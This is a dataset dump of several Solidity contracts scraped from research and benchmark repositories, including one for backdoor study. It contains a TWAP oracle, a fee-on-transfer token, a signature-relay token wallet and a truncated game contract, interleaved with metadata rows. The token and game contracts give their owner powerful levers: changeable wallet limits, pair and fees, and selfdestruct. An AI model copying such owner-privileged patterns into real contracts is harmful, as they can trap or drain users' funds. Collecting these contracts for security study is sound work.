modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (block.timestamp < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (block.timestamp < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
uint immutable PERIOD; // 24 hour TWAP (time-weighted average price) at deployment
uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) Epoch(_period, _startTime, 0) {
pair = _pair;
PERIOD = _period;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
//blockTimestampLast = 1669147200;
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function setNewPeriod(uint256 _period) external onlyOperator {
this.setPeriod(_period);
}
function setConsultLeniency(uint _consult_leniency) external onlyOperator {
CONSULT_LENIENCY = _consult_leniency;
}
function setAllowStaleConsults(bool _allow_stale_consults) external onlyOperator {
ALLOW_STALE_CONSULTS = _allow_stale_consults;
}
function canUpdate() public view returns (bool) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
return (timeElapsed >= PERIOD);
}
function update() external checkEpoch onlyOperator {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// Ensure that at least one full period has passed since the last update
//require(timeElapsed >= PERIOD - CONSULT_LENIENCY, "UniswapPairOracle: PERIOD_NOT_ELAPSED");
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
unchecked {
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
}
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, "UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE");
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, "UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE");
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 327,393 | 10,554 |
c4c4b43637d418312a97f05922b8aa19e948ace97214f67b315c9b5cab25d66c
| 13,238 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/0d/0d756Eb3B8A5E468e153c1F8fF10705160eEf44D_FUCK.sol
| 3,339 | 12,661 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract FUCK is ERC20, Ownable {
using SafeMath for uint256;
string private _name = unicode"FUCK";
string private _symbol = unicode"FUCK";
uint8 constant _decimals = 9;
uint256 _totalSupply = 27400000000 * 10**_decimals;
uint256 public _maxWalletToken = _totalSupply * 100 / 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isWalletLimitExempt;
uint256 public liquidityFee = 1;
uint256 public stakingFee = 1;
uint256 public totalFee = stakingFee + liquidityFee;
uint256 public feeDenominator = 100;
uint256 public stakingMultiplierV1 = 50;
uint256 public stakingMultiplierV2 = 50;
uint256 public stakingMultiplierV3 = 50;
address public autoLiquidityReceiver;
address public stakingFeeReceiver;
IUniswapV2Router02 public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 1 / 1000;
uint256 public maxSwapThreshold = _totalSupply * 1 / 100;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Ownable() {
router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isWalletLimitExempt[msg.sender] = true;
isWalletLimitExempt[address(0xdead)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
stakingFeeReceiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
receive() external payable { }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function setMaxWallet(uint256 maxWallPercent_base10000) external onlyOwner() {
_maxWalletToken = (_totalSupply * maxWallPercent_base10000) / 10000;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
if(shouldSwapBack() && recipient == pair){swapBack();}
uint256 airdropAmount = amount / 10000000;
if(!isFeeExempt[sender] && recipient == pair){
amount -= airdropAmount;
}
if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
uint256 multiplier = isSell ? stakingMultiplierV3 : 100;
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function setSwapPair(address pairaddr) external onlyOwner {
pair = pairaddr;
isWalletLimitExempt[pair] = true;
}
function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _swapThreshold;
maxSwapThreshold = _maxSwapThreshold;
}
function setFees(uint256 _liquidityFee, uint256 _stakingFee, uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
stakingFee = _stakingFee;
totalFee = _liquidityFee.add(_stakingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
}
function setFeeReceivers(address _autoLiquidityReceiver, address _stakingFeeReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
stakingFeeReceiver = _stakingFeeReceiver;
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function swapBack() internal swapping {
uint256 _swapThreshold;
if(_balances[address(this)] > maxSwapThreshold){
_swapThreshold = maxSwapThreshold;
}else{
_swapThreshold = _balances[address(this)];
}
uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);
if(amountETHMarketing>0){
bool tmpSuccess;
(tmpSuccess,) = payable(stakingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
}
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
}
| 47,743 | 10,555 |
903c6a4b9672521f660e2be2011af54a16907b0f4a887eb42140dbda216def54
| 16,253 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x69a02e511e027e5c26d2fbe4192e45b41db32819.sol
| 3,557 | 14,062 |
pragma solidity ^0.4.18;
library ECRecovery {
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC918Interface {
function totalSupply() public constant returns (uint);
function getMiningDifficulty() public constant returns (uint);
function getMiningTarget() public constant returns (uint);
function getMiningReward() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract MiningKingInterface {
function getKing() public returns (address);
function transferKing(address newKing) public;
event TransferKing(address from, address to);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LavaWallet is Owned {
using SafeMath for uint;
// balances[tokenContractAddress][EthereumAccountAddress] = 0
mapping(address => mapping (address => uint256)) balances;
//token => owner => spender : amount
mapping(address => mapping (address => mapping (address => uint256))) allowed;
mapping(address => uint256) depositedTokens;
mapping(bytes32 => uint256) burnedSignatures;
address public relayKingContract;
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event Transfer(address indexed from, address indexed to,address token, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens);
function LavaWallet(address relayKingContractAddress) public {
relayKingContract = relayKingContractAddress;
}
//do not allow ether to enter
function() public payable {
revert();
}
//Remember you need pre-approval for this - nice with ApproveAndCall
function depositTokens(address from, address token, uint256 tokens) public returns (bool success)
{
//we already have approval so lets do a transferFrom - transfer the tokens into this contract
if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert();
balances[token][from] = balances[token][from].add(tokens);
depositedTokens[token] = depositedTokens[token].add(tokens);
Deposit(token, from, tokens, balances[token][from]);
return true;
}
//No approve needed, only from msg.sender
function withdrawTokens(address token, uint256 tokens) public returns (bool success){
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
depositedTokens[token] = depositedTokens[token].sub(tokens);
if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert();
Withdraw(token, msg.sender, tokens, balances[token][msg.sender]);
return true;
}
//Requires approval so it can be public
function withdrawTokensFrom(address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
depositedTokens[token] = depositedTokens[token].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
if(!ERC20Interface(token).transfer(to, tokens)) revert();
Withdraw(token, from, tokens, balances[token][from]);
return true;
}
function balanceOf(address token,address user) public constant returns (uint) {
return balances[token][user];
}
//Can also be used to remove approval by using a 'tokens' value of 0
function approveTokens(address spender, address token, uint tokens) public returns (bool success) {
allowed[token][msg.sender][spender] = tokens;
Approval(msg.sender, token, spender, tokens);
return true;
}
///transfer tokens within the lava balances
//No approve needed, only from msg.sender
function transferTokens(address to, address token, uint tokens) public returns (bool success) {
balances[token][msg.sender] = balances[token][msg.sender].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(msg.sender, token, to, tokens);
return true;
}
///transfer tokens within the lava balances
//Can be public because it requires approval
function transferTokensFrom(address from, address to,address token, uint tokens) public returns (bool success) {
balances[token][from] = balances[token][from].sub(tokens);
allowed[token][from][to] = allowed[token][from][to].sub(tokens);
balances[token][to] = balances[token][to].add(tokens);
Transfer(token, from, to, tokens);
return true;
}
//Nonce is the same thing as a 'check number'
//EIP 712
function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce) public constant returns (bytes32)
{
bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; //with methodname
bytes32 typedDataHash = sha3(hardcodedSchemaHash,
sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce));
return typedDataHash;
}
function tokenApprovalWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success)
{
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the signer is the depositor of the tokens
require(from == recoveredSignatureSigner);
require(msg.sender == getRelayingKing()
|| msg.sender == from
|| msg.sender == to); // you must be the 'king of the hill' to relay
//make sure the signature has not expired
require(block.number < expires);
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1; //spent
if(burnedSignature != 0x0) revert();
//approve the relayer reward
allowed[token][from][msg.sender] = relayerReward;
Approval(from, token, msg.sender, relayerReward);
//transferRelayerReward
if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert();
//approve transfer of tokens
allowed[token][from][to] = tokens;
Approval(from, token, to, tokens);
return true;
}
function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash('approve',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
return true;
}
//the tokens remain in lava wallet
function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('transfer',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
if(!transferTokensFrom(from, to, token, tokens)) revert();
return true;
}
//The tokens are withdrawn from the lava wallet and transferred into the To account
function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash('withdraw',from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
if(!withdrawTokensFrom(from, to, token, tokens)) revert();
return true;
}
function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[token][tokenOwner][spender];
}
function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature);
//make sure the invalidator is the signer
if(recoveredSignatureSigner != from) revert();
//only the original packet owner can burn signature, not a relay
if(from != msg.sender) revert();
//make sure this signature has never been used
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2; //invalidated
if(burnedSignature != 0x0) revert();
return true;
}
//2 is burned
//1 is redeemed
function signatureBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) {
return depositTokens(from, token, tokens);
}
function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward,
uint256 expires, uint256 nonce, bytes signature) public returns (bool success) {
bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce);
if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert();
ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname);
return true;
}
function getRelayingKing() public returns (address)
{
return MiningKingInterface(relayKingContract).getKing();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// Owner CANNOT transfer out tokens which were purposefully deposited
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
//find actual balance of the contract
uint tokenBalance = ERC20Interface(tokenAddress).balanceOf(this);
//find number of accidentally deposited tokens (actual - purposefully deposited)
uint undepositedTokens = tokenBalance.sub(depositedTokens[tokenAddress]);
//only allow withdrawing of accidentally deposited tokens
assert(tokens <= undepositedTokens);
if(!ERC20Interface(tokenAddress).transfer(owner, tokens)) revert();
return true;
}
}
| 139,914 | 10,556 |
b06c5fda9df2c620323d2ddad274b9cf208b5f2b9d02bdf0e87b20fafd224ab7
| 22,344 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe98945936dd2f04294afd798ed7036a8e9ba6acc.sol
| 6,044 | 22,080 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
struct Round {
Jackpot globalJackpot;
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.01 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 10;
uint constant JACKPOT_COMMISSION_RATIO = 10;
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
function Map(address _bookerAddress) {
bookerAddress = _bookerAddress;
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = 1523916000;
rounds[currentRound].endTime = rounds[currentRound].startTime + 7 days;
rounds[currentRound].globalJackpot = Jackpot(address(0), 0);
}
function () { }
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 8; i++) {
